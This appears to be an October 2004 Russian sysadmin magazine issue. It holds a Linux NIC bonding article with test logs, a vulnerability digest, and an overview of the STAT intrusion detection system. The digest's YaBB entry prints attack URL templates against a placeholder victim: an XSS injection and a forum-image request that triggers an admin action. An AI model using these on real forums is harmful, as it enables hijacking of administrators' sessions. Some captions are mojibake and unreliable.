Диагностика: «жив ли link?» Когда все связи активны и система работает, как это от неё ожидается, может сложиться впечатление, что диагностика не нужна. Однако не используя её постоянно в рабочем режиме, сложно поймать тот момент, когда что-то перестало работать. Соответственно, можно пропустить мгновение, когда нужно начать более активно использовать другие соподчинённые интерфейсы, полностью отказавшись от сломанного. Если этого не сделать вовремя, то будет большой процент потерь пакетов, далее увеличение числа повторных передач и как следствие падение пропускной способности ниже, чем если бы работал только один интерфейс без настройки всяких linux bonding. Существует два способа диагностирования (мониторинга) связанности: ! с помощью статуса Media Independent Interface (MII); ! c помощью ARP-запросов и ответов. Несмотря на то что теоретически эти способы можно использовать вместе, на практике они не совмещаются. Видимо, разработчики этой части ядра сочли такую функциональность излишней. Расмотрим эти способы подробнее.

56

В первом случае небольшая схема на сетевой плате или часть основной микросхемы отслеживают состояние подключенности и режима работы сети. Какая скорость – 10 или 100 Мбит/c? Полный ли дуплекс? Есть ли связь вообще или нет? Эти данные с сетевой платы можно снимать и использовать в благих целях. Для применения этого режима диагностики ваша карта должна поддерживать функцию мониторинга MII-статуса, и эта функция должна быть включена. Часть ядра, отвечающая за bonding, исходя из этой информации, может принимать решение о целесообразности использования того или иного сетевого интерфейса для передачи данных. Дополнительно можно настроить периодичность, с которой осуществляется проверка. Рекомендуется использовать значение в 100 мс. Сильно уменьшать время не следует, так как это будет в значительной мере загружать систему. Увеличивать тоже особого смысла нет – может привести к росту числа повторных передач пакетов. Второй способ более медленный, зато более надёжный и может работать с древними сетевыми картами, не поддерживающими мониторинг на основе MII-статуса. Для этого способа используется какой-либо отдельный IP-адрес рабочего компьютера или адрес шлюза, которые всегда должны быть в сети в рабочем состоянии. Периодически на этот адрес посылаются ARP-запросы, на которые согласно требованиям, предъявляемым к хостам [5], должны отсылаться ARP-ответы. Если вдруг запросы перестали уходить или перестали приходить ответы – значит пропала связанность и канал следует исключить из использования во избежание потери пакетов. Простой пример конфигурации сети, где этот метод сработает лучше, чем мониторинг MII-статуса, представлен на рисунке 5. Например, во время переезда внутри здания некоторое устройство, ранее сообщавшееся с сервером Linux напрямую двумя каналами Ethernet, оказалось сильно отнесено (более чем на 180 метров). Благодаря особенностям организации сети, Ethernet стало невозможным использование столь длинного сегмента без ретрансляторов, в результате чего было принято решение о применении двух коммутаторов посередине с целью обеспечения связи устройства с сервером. Сервер как работал в режиме объединения каналов с диагностикой в виде мониторинга MII-статуса, так и продолжает работать. Теперь, если произойдёт сбой на участке, отмеченном красным крестиком (между коммутатором 1 и устройством) (см. рис. 5), сервер об этом не узнает. Так как связь на участке «eth0 – коммутатор 1» есть, сервер будет продолжать посылать по данному каналу пакеты, которые будут успешно теряться на коммутаторе. Если в данной схеме использовать мониторинг по ARPзапросам и ответам, то, не получив ответа от устройства, сервер поймёт, что связность в этом направлении нарушена и откажется от использования испорченного канала.

Ðèñóíîê 5. Ïðèìåð, ãäå ìîíèòîðèíã MII ñòàòóñà íåïðèìåíèì


сети Параметры, передаваемые модулю Чуть выше без пояснений были выбраны следующие параметры: miimon=100 mode=0 downdelay=2000 updelay=5000. Давайте рассмотрим более подробно эти и другие параметры, с помощью которых можно менять режим работы.

mode Параметр, выбирающий режим работы, возможные значения: 0,1,2 для Round robin, XOR, active backup соответственно.

miimon Число мс (тип integer) – как часто производится мониторинг MII статуса. 0 – мониторинг отключен. Рекомендуемое значение 100 мс.

downdelay Задержка в мс (тип integer) с того момента, как было обнаружено, что связь пропала, до того, как данный канал перестанет использоваться. Задержка нужна, чтобы отфильтровывать кратковременные сбои. Например, после переключения патчкорда в течение нескольких секунд совсем не обязательно терять связь на минуту или больше. По умолчанию используется 0 – нет задержки.

updelay То же самое, что и downdelay, но определяющее задержку по включению, на тот случай, если какой-нибудь switch или hub «не до конца включились». Напряжение на порт подано, а пакеты ещё корректно не принимаются. Если в этот момент передать данные – они потеряются, а если немного подождать, то этого не случится.

arp_interval С какой периодичностью в мс (тип integer) осуществлять ARP-мониторинг. Значение 0 означает что ARP-мониторинг выключен.

arp_ip_target IP-адрес, по которому осуществлять ARP-мониторинг (в случае если arp_interval>0). Если с данного адреса нет ARPответов, то значит канал, по которому посылались запросы, не работает.

Linux bonding на практике Как оказалось, практика расходится с теорией, и не всё у меня работало так, как хотелось. Проводимые испытания и результаты были следующими: Была создана схема, указанная на рисунке 3, все связи в ней целые. Çàïóñêàåì íà 192.168.0.5: tcpdump icmp Çàïóñêàåì íà 192.168.0.1: ping 192.168.0.2 -I bond0 Çàïóñêàåì íà 192.168.0.1 íà äðóãîé êîíñîëè: tcpdump icmp

Пакеты проходят нормально. Отсоединяем сетевой шнур от eth0, и в /var/log/messages появляются строки: Sep 22 17:55:19 LINUX2 kernel: bonding: bond0: link status down for idle interface eth0, disabling it in 2000 ms. Sep 22 17:55:21 LINUX2 kernel: bonding: bond0: link status definitely down for interface eth0, disabling it

№10(23), октябрь 2004

cat /proc/net/bonding/bond0 выводит: Bonding Mode: load balancing (round-robin) MII Status: up MII Polling Interval (ms): 100 Up Delay (ms): 5000 Down Delay (ms): 2000 Slave Interface: eth0 MII Status: down Link Failure Count: 1 Permanent HW addr: 00:50:22:e1:9e:3e Slave Interface: eth1 MII Status: up Link Failure Count: 0 Permanent HW addr: 00:02:44:8b:c9:c1

далее вставляем кабель обратно и наблюдаем в /var/log/ messages появление строк: Sep 22 18:03:23 LINUX2 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x45E1 Sep 22 18:03:23 LINUX2 kernel: bonding: bond0: link status up for interface eth0, enabling it in 5000 ms. Sep 22 18:03:28 LINUX2 kernel: bonding: bond0: link status definitely up for interface eth0

/proc/net/bonding/bond0 соответственно для eth0 отображает: MII Status: up

Повторим тест, но на этот раз отсоединяем кабель от eth1. По идее должно быть всё то же самое, но, увы. С 192.168.0.1 ICMP-запросы уходят и доходят до 192.168.0.5, далее на них отсылается ответ, о чём свидетельствует tcpdump, запущенный на обеих машинах, а вот до 192.168.0.1 ответы уже не доходят, теряясь где-то внутри коммутатора. Через некоторое время устаревает arp-таблица, и пакеты вообще перестают уходить. Переставляем патчкорды на коммутаторе местами и повторяем ситуацию, ситуация с eth0 и eth1 меняется также местами, из чего делаем вывод о плохой работоспособности конкретного экземпляра Switch Surecom EP-716X. Как результат тоже неплохо. Попытки найти прошивку новее, чем v.1.3, как и выйти на контакт с кем-то из техподдержки Surecom, не увенчались успехом. Однако это ещё не конец статьи. Мной было замечено, что если два кабеля от eth0 и eth1 воткнуть в обычные порты этого или любого другого коммутатора либо отключить port trunking у экземпляра выше, то объединение каналов работает, но с небольшими оговорками. В [2] рассмотрен такой случай, когда используется несколько коммутаторов или один без поддержки port trunking, однако там используется режим повышенной надёжности, и одна из карточек стоит в горячем резерве (Active backup, mode=1). При этом в одно и то же время обе карточки не работают, чтобы не смущать коммутатор своими одинаковыми MAC-адресами. Точнее, на одной из них установлен флаг NOARP. И, естественно, ни о каком увеличении пропускной способности в 2 раза речь не идёт. Испытания на обычном коммутаторе показали следующую картину. Пакеты посылаются по обоим интерфейсам поочерёдно. Обратно приходят также на два интерфейса вразнобой. Выдвигаю гипотезу, что приходящий пакет коммутатором посылается на последний работавший интер-

57


сети фейс. Если отключить один провод от сетевой карты, то три исходящих пакета теряются, а далее связь восстанавливается. Если отключить провод от другой сетевой карты, ситуация почти аналогична – либо также теряются первые три исходящих пакета, либо ничего не теряется. Объяснить это можно тем, что подчинённые интерфейсы eth0 и eth1 не совсем равнозначны для bond0. Чем раньше подчинённый интерфейс был подключён к общему, тем выше у него приоритет. Если отключить самый приоритетный (в объединённом канале может быть более двух подчинённых), то роль первенства переходит другому интерфейсу, и тогда теряется часть пакетов. Если отключить менее приоритетный, то всё нормально. Каких-либо дополнительных проблем мною замечено не было. Возможно, сказалась маленькая нагрузка моей тестовой сети, состоящей из четырех компьютеров, хотя, думается, что и при большем числе компьютеров всё будет работать так же. Ещё интересное наблюдение было сделано по результатам анализа tcpdump в разных точках. На 192.168.0.1 был запущен ping, посылающий раз в секунду ICMP-запросы на адрес 192.168.0.2. tcpdump icmp -I eth0 на 192.168.0.1 перехватил следующее: 20:16:52.578951 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:54.578941 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:56.578950 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:58.578947 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:17:00.578945 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) tcpdump icmp -I eth1 на 192.168.0.1 перехватил следующее: 20:16:53.578947 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:55.578954 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:57.578951 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:59.578942 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:17:01.578948 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) tcpdump icmp -I bond0 на 192.168.0.1 перехватил следующее: 20:16:52.578933 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:52.579111 192.168.0.2 > 192.168.0.1: icmp: echo reply 20:16:53.578926 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:53.579106 192.168.0.2 > 192.168.0.1: icmp: echo reply 20:16:54.578921 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:54.579130 192.168.0.2 > 192.168.0.1: icmp: echo reply 20:16:55.578933 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:55.579142 192.168.0.2 > 192.168.0.1: icmp: echo reply 20:16:56.578928 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) 20:16:56.579117 192.168.0.2 > 192.168.0.1: icmp: echo reply ...

Как легко заметить, исходящие пакеты чередуются с выбором интерфейса. В 52, 54, 56, 58 секунд они уходят с интерфейса eth0, а в 53, 55, 57, 59 – с интерфейса eth1. При этом на интерфейсе bond0 их можно наблюдать вместе в 52, 53, 54, 55 и т. д. секунд показывающими, что утилита ping действительно посылает раз в секунду ICMP-запросы. Также забавно то, что на интерфейсе bond0 можно наблюдать и ICMP-ответы на посланные запросы, в то время как на интерфейсах eth0 и eth1 их почему-то не видно, хотя они реально приходят. Если включить мониторинг портов на коммутаторе или поставить в разрыв провода мост, то там видны все пакеты. Я задал этот вопрос (почему не видны приходящие ответы на интерфейсах eth0 и eth1) Willy Tarreau <willy@ w.ods.org>, упомянутому в [2]. Он ответил, что это происходит потому, что модуль bonding работает на очень низком уровне, ниже того места, где в обычном режиме цепляется tcpdump.

58

Так как со стороны Linux, скорее всего, я настроил всё правильно, то думаю, что проделанная работа кому-нибудь пригодится. Возможно, окажись у меня под рукой другой коммутатор, всё бы сразу заработало как надо. Если у когото объединение портов работает нормально с другим оборудованием (поддерживающим port trunking), буду рад об этом услышать. Также мне интересно узнать, какие могут возникнуть проблемы с обычными коммутаторами (не поддерживающими объединение портов) и почему у меня они не возникли. Замечание 1. Никто не мешает организовать несколько непересекающихся групп объединяемых каналов. При этом необходимо загрузить модуль несколько раз, то есть в /etc/ modules.conf прописать две или более строчек вместо одной. alias bond0 bonding alias bond1 bonding

Ну и потом, при обращении к каждому модулю (обратите внимание, что используются разные модули, а не один и тот же под псевдонимами) передать каждому свои параметры. options bond0 miimon=100 options bond1 -o bonding1 miimon=100

Замечание 2. Как я понял в процессе написания статьи, терминов, обозначающих объединение каналов, много. Узнать, почему их много и чем они отличаются, мне не удалось. Складывается впечатление, что каждая фирма хочет быть законодателем мод. Всего мне встретилось 5 вариантов: ! Aggregate link – в терминологии Intel; ! Port trunking – в терминологии D-link, 3Com, Surecom; ! Sun Trunking – в терминологии SUN; ! EtherChannel – в терминологии CISCO; ! Bonding – в терминологии Linux, FreeBSD. Ещё мне встретился термин «load balancing», но это немного другое, никакого отношения к объединённым каналам не имеет. Сетевые карты не работают в паре на канальном уровне и имеют различные сетевые адреса, при этом могут быть установлены на разных компьютерах. Замечание 3. Идя по пути экономии, технологию объединения каналов при желании можно использовать для Gigabit Ethernet. Скорее всего, объединять будет выгоднее, чем иметь один канал на 10 Гбит/c.

Литература, ссылки: 1. С.Мюллер Модернизация и ремонт ПК, 14-е издание.: Пер. с англ. – М.: Издательский дом «Вильямс», 2003, стр. 294. 2. Linux Ethernet Bonding Driver mini-howto http://www.kernel.org/pub/linux/kernel/people/marcelo/ linux-2.4/Documentation/networking/bonding.txt 3. Реализация механизма Cisco Fast EtherChannel для FreeBSD. http://avdor.irkutsk.ru/faq/article.php?show_id=308 4. Bundling network interfaces with ng_one2many http://unixpages.org/one2many_tut.html, http://bsdvault.net/ sections.php?op=viewarticle&artid=98 5. RFC 1127: A Perspective on the Host Requirements RFCs ftp://ftp.rfc-editor.org/in-notes/rfc1127.txt


bugtraq Удаленная перезапись памяти в PHP Программа: PHP 5.0.1 и более ранние версии. Опасность: средняя. Описание: Уязвимость обнаружена в PHP, в обработке MIME-данных. Уязвимость в обработке массивов обнаружена в SAPI_POST_HANDLER_FUNC() функции в rfc1867.c. Удаленный пользователь может перезаписать элемент массива $_FILES. URL производителя: http://www.php.net. Решение: Исправление доступно через CVS: http:// cvs.php.net/php-src/main/rfc1867.c.

Обход ограничений и DoS-атака в MySQL Программа: MySQL 3.23. Опасность: средняя. Описание: Обнаружено две уязвимости в СУБД MySQL. Удаленный авторизованный пользователь может повысить свои привилегии в БД или вызвать отказ в обслуживании. URL производителя: http://www.mysql.com. Решение: Установите обновление: http://www.mysql.com/ doc/en/Installing_source_tree.html.

Удаленное выполнение произвольного кода в Icecast Программа: Icecast 2.0.1 и более ранние версии. Опасность: средняя. Описание: Переполнение обнаружено в Icecast. Удаленный пользователь может выполнить произвольный код на целевой системе. Удаленный пользователь может представить HTTP-запрос, содержащий более 32 строк заголовка, чтобы вызвать переполнение буфера и выполнить произвольный код. Пример: http://aluigi.altervista.org/poc/iceexec.zip. URL производителя: http://www.icecast.org. Решение: Установите обновленную версию программы: http://www.icecast.org/download.php.

Переполнение буфера в обработке JPEG-изображений в нескольких продуктах Microsoft Опасность: критическая. Описание: Уязвимость обнаружена в нескольких продуктах Microsoft в обработке JPEG-изображений. Злонамеренный пользователь может скомпрометировать систему пользователя. Переполнение буфера обнаружено внутри JPEG Parsing компоненты (Gdiplus.dll). Злонамеренный пользователь может сконструировать специально обработанное JPEGизображение, которое вызовет переполнение буфера при попытке просмотреть это изображение, используя уязвимую компоненту. Уязвимость может использоваться для выполнения произвольного кода на системе пользователя. URL производителя: http://www.microsoft.com/technet/ security/bulletin/ms04-028.mspx. Решение: Установите соответствующее обновление. Microsoft также выпустила утилиту, которая позволяет определить уязвимую компоненту на системе: http:// support.microsoft.com/default.aspx?scid=kb;EN-US;873374.

№10(23), октябрь 2004

Несколько уязвимостей в Microsoft Windows Опасность: критическая. Описание: Несколько уязвимостей обнаружено в Microsoft Windows. Злонамеренный пользователь может вызвать отказ в обслуживании, повысить привилегии или скомпрометировать уязвимую систему. Отсу тствие ограничений на нескольких Window Management API-функциях позволяют злонамеренной программе изменить свойства других программ, запущенных с более высокими привилегиями. В результате локальный пользователь может изменить свойства привилегированного процесса. Уязвимость в компоненте, используемой для обработки VDM (Virtual DOS Machine) подсистемы, позволяет получить доступ к защищенной памяти ядра. В результате злонамеренный локальный пользователь может получить SYSTEM-привилегии через специально обработанную программу. Переполнение буфера обнаружено в Graphics Rendering Engine при обработке WMF (Windows Metafile) и EMF (Enhanced Metafile) изображений. Злонамеренный пользователь может создать специально обработанное изображение, чтобы скомпрометировать систему целевого пользователя, открывшего это изображение или посетившего злонамеренный веб-сайт. Злонамеренный пользователь может вызвать отказ в обслуживании через специально обработанную программу, эксплуатируя уязвимость в Windows-ядре. URL производителя: http://www.Microsoft.com. Решение: Установите соответствующее обновление.

Межсайтовый скриптинг и выполнение административных действий в форуме YaBB Программа: YaBB 1 GOLD SP 1.3.2. Опасность: средняя. Описание: Две уязвимости обнаружены в YaBB. Злонамеренный пользователь может выполнить XSS-нападение и обойти некоторые ограничения безопасности. XSS: http://[victim]/YaBB.pl?board=;action=imsend;to=[code]

Злонамеренный пользователь может опубликовать сообщение, содержащее изображение, которое ссылается на URL, используемый при выполнении административных действий. В результате административное действие будет автоматически выполнено, когда администратор читает сообщения форума. Пример: http://[victim]/YaBB.pl?board=;action=modifycat; ↵ id=[cateogoryname];moda=Remove2

URL производителя: www.yabbforum.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Составил Александр Антипов

59


безопасность

STAT – СОВСЕМ ДРУГАЯ IDS

СЕРГЕЙ ЯРЕМЧУК Сегодняшний бизнес тяжело представить без использования Интернет и сетей TCP/IP. Доступ к необходимой информации с любой точки планеты является несомненным удобством, стоит воспользоваться хоть раз, и уже не представляешь свой бизнес без этого. Но вместе с тем это несет и свои проблемы. Сегодня основную нагрузку по защите сетей принимают на себя firewall и приложения уровня домена, предназначенные для подтверждения подлинности пользователей. Несмотря на то что эти приложения в основном справляются со своей задачей, они не могут полностью решить все проблемы по защите сетей и отдельных хостов. И как следствие, на помощь приходят системы обнаружения атак (СОА или Intrusion detection systems – IDS). СОА, анализируя информацию относительно всех контролируемых действий, выполненных в компьютерной системе или сети, производят поиск доказательств злонамеренных действий. Проверяемая информация может принимать форму конт-

60

рольных записей, произведенных средствами аудита операционной системы, записи в журналах приложений и различными типами датчиков, в том числе и трафик, полученный прослушиванием сетевых интерфейсов. Одни системы, используя заранее составленные описания атак (сигнатуры) и сравнивая, принимают решения о начале атаки. Такие IDS относятся к классу signature/rule-based/misuse и, как правило, не могут обнаруживать новые, еще не занесенные в базу атаки, что делает их бесполезными в начале эпидемий, к тому же они склонны генерировать ложные позитивные предупреждения. Другие, anomaly detection-системы, используют разные методы и алгоритмы, в которых используются и контролируются модели «нормального» поведения системы, основанные на статистических данных или на некоторых правилах, отклонения от которых свидетельствуют о возможных неприятностях. Такие системы, хоть также обладают недостатками, так как требуется не-


безопасность которое время на их обучение, которое к тому же при некоторых обстоятельствах может быть и не 100% эффективным. Они все же позволяют обнаруживать новые атаки, но также не застрахованы от выдачи ложных тревог, особенно в динамичных средах. Скорее всего, в ближайшем будущем будут использоваться комбинированные системы, сочетающие в себе положительные свойства обеих систем. За примером далеко ходить не надо – Snort (http:// www.snort.org) поддерживает проверку аномалий в сети посредством препроцессоров (preprocessors). Препроцессоры проверяют данные пакетов после декодера Snort, но до того как механизм детектирования начинает сравнивать правила, добавляя дополнительные возможности всей системе. Хотя в сильно загруженных сетях их применение может увеличить нагрузку на систему, и к тому же большая их часть находится в концептуальном состоянии, и они могут вызывать большое количество ложных срабатываний, но, надо отметить, возможна тонкая подстройка препроцессоров под конкретные условия. Но, несмотря на наличие препроцессоров, Snort все-таки больше signature IDS, чем anomaly. Совсем другой подход. Проект State Transition Analysis Technique (STAT) использует несколько иной метод обнаружения угроз. Основан этот метод на абстракциях, где вместо конкретных деталей используются обобщенные модели атак, которые затем описываются в возможных сценариях атак. Процесс абстракции от обычной формы (т.е. простых контрольных записей или сетевых пакетов) к представлению более высокого уровня сделан так, чтобы различные действия в системе статистически независимых низкоуровневых факторов были по возможности представлены к единому типу. Кроме того, методология STAT поддерживает такой подход моделирования, который представляет только те действия, которые являются критическими для эффективности атаки в целом. При этом отход от специфики конкретной атаки делает возможным обнаруживать ранее неизвестные варианты атаки или атаки, использующие подобные механизмы, т.е. подход STAT лишен недостатков, присущих signature-basedподходу. Методы, заложенные в сценариях STAT, могут быть применены для создания любого вида датчиков host-based, network-based и application-based, что делает данную технологию универсальной. К примеру, два тогда еще концептуальных датчика NetSTAT и USTAT прошли в конце прошлого века полевые испытания в MIT Lincoln Laboratory и Air Force Research Laboratory (AFRL). В ходе которых заслужили высокую оценку, и, главное, была доказана жизненность предложенных методик обнаружения атак и обнаружена схожесть путей представления сценариев атак и архитектуры различных типов датчиков.

Концепции, на которых базируется STAT, принцип работы Основу проекта составляют пять понятий: ! State Transition Analysis Technique – STAT; ! язык STATL; ! ядро STAT; ! инструментальные средства STAT; ! инфраструктура MetaSTAT.

№10(23), октябрь 2004

Методика анализа смены состояний (STAT) описывает возможные угрозы как некие сценарии. В сценариях атаки представлены как последовательности состояний, которые характеризуют эволюцию состояний защиты системы от начального до скомпрометированного. Описания атак включают в себя как минимум две позиции: запускающее initialсостояние и по крайней мере одно конечное состояние компрометации системы. Так, в сценарии атаки, описывающей попытку нарушить защиту операционной системы, формулируются утверждения вроде монопольного использования файла, идентификации или авторизации пользователя, а в сценарии, описывающем сканирование портов, описываются типичные действия и сегменты TCP, используемые при сканировании портов хоста. Для описания сценариев атаки используется расширяемый язык STATL. Вообще надо отметить, в последнее время заметен интерес к подобным разработкам и появилось множество языков, что полностью оправдывает себя, т.к. появляется возможность выявить общие закономерности, присущие атакам, произвести их классификацию и анализ зависимостей среди различных атак, что позволит опознавать скоординированные и растянутые по времени атаки против компьютерных систем. По крайней мере сейчас известны шесть категорий «attack languages»: языки событий, языки реакции, языки отчетов, языки корреляции, языки эксплоитов и языки детектирования. STATL относится к последней категории, т.е. к языкам детектирования, которые имеют соответствующие механизмы и абстракции, позволяющие описать атаку. Сама же атака в STATL представляется как последовательность состояний и переходов. Состояния характеризуют систему в различные моменты развития атаки. Описывается только необходимое для определения атаки (например, атрибуты файловой системы). Переходы же ассоциируются со специфическими условиями, которые необходимо выполнить для перехода в новое состояние. Например, после обнаружения бинарных данных в запросе веб-сервера ожидается открытие еще одного TCP-соединения или запуск приложения. Возможное развитие событий контролируется фильтрами утверждений перехода, которые определяют более конкретные условия, которым может соответствовать дальнейшее развитие атаки. Например, открытие соединения только со специфическим портом или запуск критических приложений. При этом переходы в зависимости от результата могут приобретать значение consuming, nonconsuming или unwinding. STATL включает несколько встроенных типов: int и u_int, bool, string, timeval (для временных меток) и timer (для отслеживания событий в течение определенного интервала времени ) и также включены массивы. При этом невозможно определить новые типы данных в пределах сценария, специфические типы должны определяться в ориентированной на конкретную задачу библиотеке. Поэтому сетевые и host-датчики кроме встроенных имеют и специфические типы данных. В документации можно найти примеры построения сценария на языке STATL, позволяющие более подробно разобраться с технологией, в данный же момент все имеющиеся сценарии и расширения языка STATL, переписаны в код C++ и откомпилированы в библиотеки STAT development tools, хотя в архивах приложений встречаются

61


безопасность ознакомительные сценарии и модули, написанные на языке STATL, позволяющие самому создать необходимое описание события. Для возможности разработки и тестирования собственных сценариев имеются необходимые приложения: ! STATL Parser – инструмент, написанный на Java, позволяет переводить сценарии, написанные на STATL, в сценарий C++ плагинов, который затем можно откомпилировать и загрузить в STAT-based приложение. ! STATed – графический редактор для сценариев STATL, также реализованный на Java. ! xSTAT – позволяет создать законченное универсальное STAT-based приложение без необходимости следовать за одиночным приложением, а фактически все сенсоры являются символическими ссылками на это имя и любой можно запустить, набрав xstat с соответствующими опциями. Кроме того, в документе «Translating Snort rules to STATL scenarios» (http://www.cs.ucsb.edu/~rsg/pub/2001_eckmann_ RAID01.pdf.gz) обсужден процесс перевода правил Snort в сценарии STATL, но, к сожалению, упоминаемой в нем утилиты snort2statl на сайте обнаружить не удалось. STATL позволяет использовать особенности методики STAT независимо от конкретного приложения и области применения, т.к. может быть легко адаптирован к различным целевым средам и также содержит конструкции, которые могут помочь быстро адаптировать язык к любой специфической области. Например, расширения STATL для описания происходящего на основании записей в логах вебсервера Apache, имеют поля вроде host, ident, authuser, date, request, status, bytes и пр. После определения возможных событий устанавливаются предикаты, основанные на них. Так, например, isCGIrequest() возвращает истину в том случае, когда событие – запрос на выполнение CGI-скрипта; в случае, когда клиенту возвращается ошибка 400-500, истину принимает предикат isClientError(); а когда в запросе обнаруживаются бинарные строки, что может свидетельствовать о попытке переполнения буфера, истину принимает предикат isBinary(). Все события и определения предиката сгруппированы в расширениях языка, и после того как наборы событий и связанные с ними предикаты для расширений языка определены, их возможно использовать в описаниях сценариев STATL.

Дальнейшая работа системы по обнаружению атаки Сценарии STATL обрабатываются во время выполнения ядром STAT. Для этого сценарии компилируются в Scenario Plugin, который является динамически загружаемой библиотекой (.so в UNIX или DLL в Windows). Кроме того, все расширения языка, использованного в сценариях, должны быть откомпилированы в Language Extension Module, который также является динамически загружаемой библиотекой. Само ядро STAT обеспечивает единые для сценариев параметры вроде таймеров, концепций состояния, перехода и соответствия события и фактически производит анализ, сравнивая входящий поток со сценариями, имеющимися в Scenario Plugins. Для расширения возможностей предусмот-

62

рено расширение ядра за счет добавления модулей, отвечающих за анализ определенных событий (сетевой трафик, логи приложений и событий, отслеживаемых операционной системой, системные вызовы и пр.), что позволяет собрать IDS практически под конкретные условия. При этом возможно изменение в процессе выполнения загрузкой/выгрузкой STAT-based приложений при помощи директив управления, посланных ядру STAT. Ядро вместе с загруженными модулями и определяет возможности системы. Если же STAT запущен без модулей, он работает в «пустой» конфигурации, т.к. содержит только образ ядра, ожидающего событий или сообщений управления. Источник событий обеспечивается модулем Event Provider, который, собирая данные (т.е. события) из внешней среды (анализ логов, сетевых пакетов), фильтрует те, которые не представляют интерес, преобразовывает остающиеся события в объекты событий (как определено Language Extension Module), преобразовывает эти события в универсальные события STAT и добавляет эти события во входную очередь ядра STAT. При этом Event Providers может быть добавлен и удален динамически, также ядро может работать одновременно с несколькими Event Provider. Для обработки событий необходимо загрузить одно или несколько Scenario Plugins в ядро STAT. Прототипы сценария содержат структуры данных, представляющие в условленных сценарием терминах состояние и изменение глобальных переменных и набор некоторых параметров активации. Прототип создает первый образец сценария. Такой образец находится в начальном состоянии, соответствующем сценарию атаки. Ядро STAT, анализируя определенный сценарий, помечает образец для событий, ассоциированных с начальным состоянием сценария. Теперь ядро готово для обработки события. Если событие соответствует помеченному, то происходит необходимая оценка и утверждение состояний, и в случае удовлетворительного ответа принимается решение о соответствии. При этом, так как могут изменяться последствия, то может создаваться и новый сценарий. Каждый образец сценария фактически представляет описание атаки в прогрессе. В результате работы сценария в конце может быть выдан некоторый выход. Это может быть регистрация, предупреждающее сообщение, перестройка firewall, другим вариантом может быть выдача т.н. синтетического события, которое обрабатывается подобно любому другому событию и может использоваться, чтобы представить изменения цепочки сценария. За ответ на событие отвечает Response Modules, представляющий собой набор функций, способных реализовать любой необходимый тип реакции, в том числе и в зависимости от установок и на промежуточные состояния сценария. Теперь STAT-based приложение полностью сконфигурировано, необходимые модули в зависимости от потребностей могут быть в любой момент загружены/выгружены, все необходимые зависимости осуществляются либо самим приложением, либо инфраструктурой MetaSTAT.

Инфраструктура MetaSTAT В защищаемой сети развертывается сеть датчиков, составленная из компонентов, соединенных между собой посред-


безопасность ством локальной связи и инфраструктуры управления. Для контроля работы, координации действий, совместимости и управления STAT-based приложениями предназначен набор MetaSTAT, состоящий из: ! CommSTAT – позволяет создавать защищенные соединения между разнесенными по сети компонентами. Передаваемые данные форматируются согласно стандарту Intrusion Detection Message Exchange Format (IDMEF), предложенному Intrusion Detection Working Group (IDWG) of the Internet Engineering Task Force (http://www.ietf.org/ html.charters/idwg-charter.html), который базируется на XML. Оригинальный IDMEF распознает два вида событий: Heartbeat и Alert, который был расширен необходимыми для управления датчиками сообщениями. Для защиты соединения используется SSL. ! STAT Proxy – действует как посредник между STAT-based приложением и контроллером MetaSTAT, отвечает за поддержку репозитария host-based модулей STAT, для соединения с Controller использует CommSTAT. Также производит предварительную обработку сообщений и директив управления, и поддерживает интеграцию с инструментами сторонних разработчиков, не поддерживающих инфраструктуру STAT. ! MetaSTAT Controller – сохраняет соединения к имеющимся STAT proxy и обеспечивает интерфейс, позволяющий отсылать управляющие сообщения STAT-based приложениям и контролировать их текущее состояние. ! MetaSTAT Viewer – пакет включает приложение, написанное на Java и обеспечивающее графический пользовательский интерфейс, позволяющий просматривать предупреждения, сохраненные в централизованной базе данных. В настоящее время Viewer поддерживает просмотр IDMEF версии 0.3. ! MetaSTAT Configurator – хранит базу данных задействованных модулей и датчиков, а также зависимостей между ними. ! MetaSTAT Collector – отвечает за сбор и сохранение предупреждений, собранных управляемыми датчиками. Все предупреждения IDMEF можно сохранить во внешней базе данных (MySQL). Выходы датчиков в форме предупреждений собираются т.н. мета-сенсорами, каждый такой мета-сенсор отвечает за подмножество развернутых датчиков и может координировать действия с другими мета-сенсорами (корреляция результатов, например). Компоненты MetaSTAT могут быть организованы в иерархической структуре, для возможности развертывания большого количества датчиков в больших сетях.

Инструменты STAT Принципы, заложенные в STAT, были использованы при разработке нескольких компонентов, позволяющих собрать STAT-based IDS под определенные задачи. ! USTAT – первый появившийся датчик, представляет собой host-based IDS, анализирующую контрольные записи, выданные Sun Solaris Basic Security Module (BSM). ! NSTAT – расширение USTAT для работы с несколькими узлами, позволяет учитывать атаки на узлы, использующие NFS.

№10(23), октябрь 2004

! WinSTAT – также относится к IDS контролирующим от!

! !

!

!

дельный узел и предназначен для анализа системных логов Windows NT для обнаружения следов возможных атак. LinSTAT – представляет собой демон контроля происходящих событий в Linux-системах, для этих целей используется пакет SNARE, разработанный InterSect Alliance (http://www.intersectalliance.com). NetSTAT – относится к сетевым системам обнаружения атак, анализирует сетевой трафик на предмет наличия пакетов, содержащих угрозу. WebSTAT – application-based IDS, а по сути синтаксический анализатор лог-файлов, сгенерированых веб-сервером Apache, позволяющий обнаружить атаки и злонамеренные запросы. LogSTAT – сенсор, анализирующий журналы формата UNIX syslog, но имеет библиотеку расширения, позволяющую отслеживать критические записи и в журналах Apache. AlertSTAT – хотя и назван в некоторых документах датчиком, но относится к инструменту анализа выводов других датчиков и позволяет обнаруживать атаки более высокого уровня, в том числе и распределенные и многоступенчатые атаки.

